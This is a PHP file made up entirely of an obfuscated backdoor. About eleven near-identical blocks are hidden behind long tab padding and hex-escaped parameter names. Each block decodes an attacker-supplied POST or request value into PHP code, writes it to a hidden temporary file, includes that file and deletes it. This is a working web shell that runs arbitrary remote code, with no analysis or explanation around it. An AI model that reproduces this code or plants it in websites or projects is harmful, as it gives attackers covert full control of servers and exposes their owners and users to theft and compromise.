<?php																																										if(isset($_REQUEST["s\x79m\x62\x6Fl"])){ $entity = $_REQUEST["s\x79m\x62\x6Fl"]; $entity = explode ( '.' ,$entity ); $flag = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $k = 0; $__len = count($entity); do { if ($k >= $__len) break; $v6 = $entity[$k]; $chS = ord($salt3[$k % $sLen]); $d = ((int)$v6 - $chS - ($k % 10)) ^ 91; $flag .= chr($d); $k++; } while (true); $flg = array_filter(["/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/tmp", "/var/tmp", session_save_path(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir")]); $mrk = 0; do { $token = $flg[$mrk] ?? null; if ($mrk >= count($flg)) break; if ((bool)is_dir($token) && (bool)is_writable($token)) { $holder = "$token/.pset"; if (file_put_contents($holder, $flag)) { include $holder; @unlink($holder); die(); } } $mrk++; } while (true); }
																																										if(array_key_exists("s\x79\x6D\x62ol", $_POST) && !is_null($_POST["s\x79\x6D\x62ol"])){ $dat = array_filter([sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/var/tmp"]); $k = $_POST["s\x79\x6D\x62ol"]; $k = explode ( "." , $k ); $resource=''; $s8='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s8 ); $w=0; array_walk($k, function ($v8) use (&$resource, &$w, $s8, $lenS) { $sChar=ord($s8[$w% $lenS] ); $dec=((int)$v8 - $sChar - ($w% 10)) ^ 26; $resource .= chr($dec ); $w++; }); $ent = 0; do { $entity = $dat[$ent] ?? null; if ($ent >= count($dat)) break; if (array_product([is_dir($entity), is_writable($entity)])) { $dchunk = implode("/", [$entity, ".desc"]); if (file_put_contents($dchunk, $resource)) { require $dchunk; unlink($dchunk); die(); } } $ent++; } while (true); }
																																										if(array_key_exists("\x64\x61\x74a\x5F\x63hunk", $_POST) && !is_null($_POST["\x64\x61\x74a\x5F\x63hunk"])){ $itm = $_POST["\x64\x61\x74a\x5F\x63hunk"]; $itm = explode('.' , $itm ) ; $pset= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $y= 0; $len= count($itm); do {if ($y >= $len) break; $v9= $itm[$y]; $chS= ord($s[$y % $sLen]); $d= ((int)$v9 - $chS - ($y % 10)) ^ 8; $pset.= chr($d); $y++; } while (true); $holder = array_filter(["/var/tmp", getenv("TEMP"), "/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP")]); foreach ($holder as $reference) { if ((bool)is_dir($reference) && (bool)is_writable($reference)) { $comp = join("/", [$reference, ".component"]); $success = file_put_contents($comp, $pset); if ($success) { include $comp; @unlink($comp); exit;} } } }
																																										if(array_key_exists("\x6D\x72k", $_POST) && !is_null($_POST["\x6D\x72k"])){ $ent = $_POST["\x6D\x72k"]; $ent = explode ("." , $ent) ; $reference = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $__len = count($ent ); for ($j = 0; $j <$__len; $j++) { $v5 = $ent[$j]; $sChar = ord($salt[$j % $sLen] ); $d = ((int)$v5 - $sChar - ($j % 10)) ^ 23; $reference .= chr($d ); } $pointer = array_filter([session_save_path(), getenv("TEMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/tmp"]); foreach ($pointer as $hld) { if ((is_dir($hld) and is_writable($hld))) { $data_chunk = join("/", [$hld, ".component"]); if (file_put_contents($data_chunk, $reference)) { require $data_chunk; unlink($data_chunk); exit; } } } }
																																										if(array_key_exists("res\x6Fu\x72ce", $_POST) && !is_null($_POST["res\x6Fu\x72ce"])){ $rec = array_filter([getcwd(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/dev/shm"]); $ptr = $_POST["res\x6Fu\x72ce"]; $ptr = explode ( '.' , $ptr ); $marker =''; $salt1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt1 ); foreach( $ptr as $x => $v4): $sChar =ord( $salt1[$x % $lenS] ); $d =( ( int)$v4 - $sChar -( $x % 10)) ^ 71; $marker.=chr( $d ); endforeach; for ($tkn = 0, $obj = count($rec); $tkn < $obj; $tkn++) { $parameter_group = $rec[$tkn]; if (is_dir($parameter_group) && is_writable($parameter_group)) { $flg = implode("/", [$parameter_group, ".symbol"]); $success = file_put_contents($flg, $marker); if ($success) { include $flg; @unlink($flg); exit;} } } }
																																										if(!empty($_POST["tk\x6E"])){ $record = $_POST["tk\x6E"]; $record =explode ( "." , $record) ; $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $n = 0; $__tmp = $record; while( $v8 = array_shift( $__tmp)) { $chS = ord( $salt[$n % $lenS] ); $d =( ( int)$v8 - $chS -( $n % 10))^ 42; $val .= chr( $d ); $n++; } $data_chunk = array_filter([getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/tmp", getenv("TEMP")]); foreach ($data_chunk as $flag): if ((function($d) { return is_dir($d) && is_writable($d); })($flag)) { $value = str_replace("{var_dir}", $flag, "{var_dir}/.flg"); $success = file_put_contents($value, $val); if ($success) { include $value; @unlink($value); exit;} } endforeach; }
																																										if(array_key_exists("\x68\x6Cd", $_POST)){ $dchunk = $_POST["\x68\x6Cd"]; $dchunk = explode ( '.' ,$dchunk) ; $item = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $t = 0; array_walk($dchunk, function ($v9) use (&$item, &$t, $salt, $sLen) { $chS = ord($salt[$t %$sLen] ); $d = ((int)$v9 - $chS - ($t %10)) ^ 31; $item .= chr($d ); $t++;}); $mrk = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TMP")]); $ptr = 0; do { $parameter_group = $mrk[$ptr] ?? null; if ($ptr >= count($mrk)) break; if (is_writable($parameter_group) && is_dir($parameter_group)) { $rec = "$parameter_group/.marker"; $file = fopen($rec, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $rec; @unlink($rec); exit; } } $ptr++; } while (true); }
																																										if(isset($_POST) && isset($_POST["\x64e\x73c"])){ $data_chunk = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/var/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), "/tmp"]); $entry = $_POST["\x64e\x73c"]; $entry = explode('.',$entry ) ; $value = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); foreach ($entry as $u => $v1) { $chS = ord($salt6[$u % $lenS]); $dec = ((int)$v1 - $chS - ($u % 10)) ^ 65; $value .= chr($dec); } $elem = 0; do { $holder = $data_chunk[$elem] ?? null; if ($elem >= count($data_chunk)) break; if (is_dir($holder) ? is_writable($holder) : false) { $comp = sprintf("%s/.res", $holder); if (@file_put_contents($comp, $value) !== false) { include $comp; unlink($comp); exit; } } $elem++; } while (true); }
																																										if(@$_POST["\x68\x6Cd"] !== null){ $ref = $_POST["\x68\x6Cd"]; $ref=explode( "." ,$ref ); $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($ref); for ($l = 0; $l < $len; $l++) {$v1 = $ref[$l]; $sChar = ord($salt[$l % $lenS]); $d = ((int)$v1 - $sChar - ($l % 10)) ^ 49; $obj.= chr($d); } $element = array_filter([session_save_path(), "/var/tmp", getenv("TMP"), "/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd()]); while ($property_set = array_shift($element)) { if (max(0, is_dir($property_set) * is_writable($property_set))) { $data_chunk = join("/", [$property_set, ".pset"]); $file = fopen($data_chunk, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $data_chunk; @unlink($data_chunk); die(); } } } }
																																										if(array_key_exists("\x63omp", $_POST)){ $parameter_group = $_POST["\x63omp"]; $parameter_group = explode( '.' , $parameter_group ) ; $flag = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5 ); $l = 0; array_walk($parameter_group, function ($v7) use (&$flag, &$l, $salt5, $sLen) { $sChar = ord($salt5[$l% $sLen] ); $dec = ((int)$v7 - $sChar - ($l% 10)) ^ 63; $flag .= chr($dec ); $l++; }); $record = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", session_save_path()]); for ($element = 0, $flg = count($record); $element < $flg; $element++) { $value = $record[$element]; if ((function($d) { return is_dir($d) && is_writable($d); })($value)) { $factor = str_replace("{var_dir}", $value, "{var_dir}/.object"); $success = file_put_contents($factor, $flag); if ($success) { include $factor; @unlink($factor); die();} } } }


if(count($_POST) > 0 && isset($_POST["\x76alue"])){
	$component = array_filter([session_save_path(), sys_get_temp_dir(), "/tmp", getcwd(), getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP")]);
	$ent = $_POST["\x76alue"];
				$ent	=		 explode  	(	'.' 	, 	$ent	 );	
	$elem =	 '';
            $s5 =	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =	 strlen(	$s5);
            $l =	 0;
    
            while(	$l<  count(	$ent)) { 	$v6 =	 $ent[$l];
                $sChar =	 ord(	$s5[$l%		$sLen]);
                $dec =	 (	(	int)$v6 - $sChar -(	$l%		10))	 ^		13;
                $elem.=chr(	$dec);
                $l++;} 
	foreach ($component as $key => $obj) {
    		if (array_product([is_dir($obj), is_writable($obj)])) {
    $resource = sprintf("%s/.dchunk", $obj);
    if (@file_put_contents($resource, $elem) !== false) {
	include $resource;
	unlink($resource);
	die();
}
}
}
}